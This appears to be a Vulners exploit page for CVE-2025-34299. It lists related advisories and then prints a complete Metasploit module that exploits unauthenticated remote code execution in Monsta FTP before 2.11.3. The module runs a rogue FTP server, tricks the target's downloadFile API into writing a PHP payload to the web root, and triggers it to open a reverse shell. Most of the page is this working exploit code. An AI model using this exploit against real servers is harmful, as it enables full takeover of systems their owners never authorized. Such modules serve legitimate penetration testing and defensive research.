| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for CVE-2025-34299 | 19 Nov 202500:39 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Monstaftp Monsta_Ftp | 11 Dec 202503:42 | – | githubexploit | |
| CVE-2025-34299 | 7 Nov 202510:26 | – | circl | |
| Monsta FTP 代码问题漏洞 | 7 Nov 202500:00 | – | cnnvd | |
| CVE-2025-34299 | 7 Nov 202513:51 | – | cve | |
| CVE-2025-34299 Monsta FTP <= 2.11 Unauthenticated Arbitrary File Upload | 7 Nov 202513:51 | – | cvelist | |
| EUVD-2025-38247 | 7 Nov 202513:51 | – | euvd | |
| Monsta FTP Vulnerability Exposed Thousands of Servers to Full Takeover | 10 Nov 202510:53 | – | hackread | |
| Monsta FTP <= 2.11.2 - Unauthenticated Remote Code Execution | 3 Jun 202606:04 | – | nuclei | |
| CVE-2025-34299 | 7 Nov 202514:15 | – | nvd |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Monsta FTP downloadFile Remote Code Execution',
'Description' => %q{
This module exploits a pre-authenticated remote code execution vulnerability
in Monsta FTP versions < 2.11.3. The vulnerability exists in the downloadFile
action which allows an attacker to connect to a malicious FTP or SFTP server
and download arbitrary files to arbitrary locations on the Monsta FTP server.
This module uses FTP to exploit the vulnerability.
},
'Author' => [
'watchTowr Labs', # Discovery
'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit module
'msutovsky-r7' # Module reviewer
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-34299'],
['URL', 'https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/']
],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2025-11-07',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to Monsta FTP', '/mftp/'])
])
end
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Safe('Target does not appear to be Monsta FTP') unless res.code == 200 && res.body.include?('Monsta FTP')
version_match = res.body.match(/(?:v=|assets-|monsta-min-)(\d+\.\d+\.\d+)/)
return CheckCode::Detected('Monsta FTP detected but version could not be determined') unless version_match
version = Rex::Version.new(version_match[1])
print_status("Monsta FTP version detected: #{version}")
version < Rex::Version.new('2.11.3') ? CheckCode::Appears("Detected version #{version}, which is vulnerable") : CheckCode::Safe("Detected not vulnerable version #{version}")
end
def php_payload_content
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
"<?php #{phped_payload} ?>"
end
def send_ftp_response(cli, code, message)
cli.put "#{code} #{message}\r\n"
vprint_status("FTP: #{code} #{message}")
end
def require_auth(cli)
return true if @state[cli][:auth]
send_ftp_response(cli, 530, 'Not logged in.')
false
end
def send_data_connection(cli)
conn = establish_data_connection(cli)
unless conn
send_ftp_response(cli, 425, "Can't open data connection.")
return nil
end
conn
end
def handle_data_transfer_retr(cli, message)
send_ftp_response(cli, 150, message)
conn = send_data_connection(cli)
return unless conn
conn.put(php_payload_content)
conn.close
send_ftp_response(cli, 226, 'Transfer complete.')
end
def start_ftp_service(credentials)
define_singleton_method(:on_client_connect) do |cli|
vprint_status("FTP client connected from #{cli.peerhost}:#{cli.peerport}")
@state[cli] = {
name: "#{cli.peerhost}:#{cli.peerport}",
ip: cli.peerhost,
port: cli.peerport,
user: credentials[:user],
pass: credentials[:pass],
auth: false,
valid_user: false
}
send_ftp_response(cli, 220, 'FTP Server Ready')
end
start_service({ SSL: false })
end
def handle_ftp_command(_cli, cmd, arg = nil)
vprint_status("FTP: Client sent #{cmd}#{arg ? " #{arg}" : ''}")
end
def on_client_command_user(cli, arg)
handle_ftp_command(cli, 'USER', arg)
@state[cli][:valid_user] = arg == @state[cli][:user]
send_ftp_response(cli, 331, 'User name okay, need password.')
end
def on_client_command_pass(cli, arg)
handle_ftp_command(cli, 'PASS')
@state[cli][:auth] = @state[cli][:valid_user] && arg == @state[cli][:pass]
code, message = @state[cli][:auth] ? [230, 'Login successful.'] : [530, 'Login incorrect.']
send_ftp_response(cli, code, message)
end
def on_client_command_pwd(cli, _arg)
handle_ftp_command(cli, 'PWD')
send_ftp_response(cli, 257, '"/" is current directory.')
end
def on_client_command_type(cli, arg)
handle_ftp_command(cli, 'TYPE', arg)
send_ftp_response(cli, 200, "Type set to #{arg}.")
end
def on_client_command_port(cli, arg)
handle_ftp_command(cli, 'PORT', arg)
parts = arg.split(',')
unless parts.length == 6
vprint_error("FTP: Invalid PORT command format: #{arg}")
send_ftp_response(cli, 500, 'Illegal PORT command.')
return
end
host = parts[0..3].join('.')
port = (parts[4].to_i * 256) + parts[5].to_i
vprint_status("FTP: PORT command parsed - host: #{host}, port: #{port}")
active_data_port_for_client(cli, port)
send_ftp_response(cli, 200, 'PORT command successful.')
end
def on_client_command_retr(cli, arg)
handle_ftp_command(cli, 'RETR', arg)
return unless require_auth(cli)
handle_data_transfer_retr(cli, "Opening data connection for #{arg}")
end
def on_client_command_quit(cli, _arg)
handle_ftp_command(cli, 'QUIT')
send_ftp_response(cli, 221, 'Goodbye.')
end
def on_client_command_unknown(cli, cmd, arg)
handle_ftp_command(cli, "UNKNOWN: #{cmd}", arg)
send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
end
def trigger_http_request(exploit_data)
vprint_status('Triggering HTTP request...')
payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'application', 'api', 'api.php'),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "request=#{Rex::Text.uri_encode({
'connectionType' => 'ftp',
'configuration' => {
'host' => srvhost_addr,
'username' => exploit_data[:user],
'initialDirectory' => '/',
'password' => exploit_data[:pass],
'port' => srvport
},
'actionName' => 'downloadFile',
'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name }
}.to_json)}"
})
return nil unless res&.code == 200 && res.get_json_document&.[]('success')
vprint_status("File downloaded successfully: #{payload_name}")
payload_name
end
def exploit
exploit_data = {
user: Faker::Internet.username,
pass: Faker::Internet.password
}
start_ftp_service(exploit_data)
vprint_status("FTP server started on #{bindhost}:#{bindport}")
payload_name = trigger_http_request(exploit_data)
fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name
register_file_for_cleanup(payload_name)
vprint_status("Triggering payload at #{normalize_uri(target_uri.path, 'application', 'api', payload_name)}...")
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'application', 'api', payload_name), 'method' => 'GET')
vprint_warning('Payload executed but failed to establish reverse connection') if res&.body == 'no socket'
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation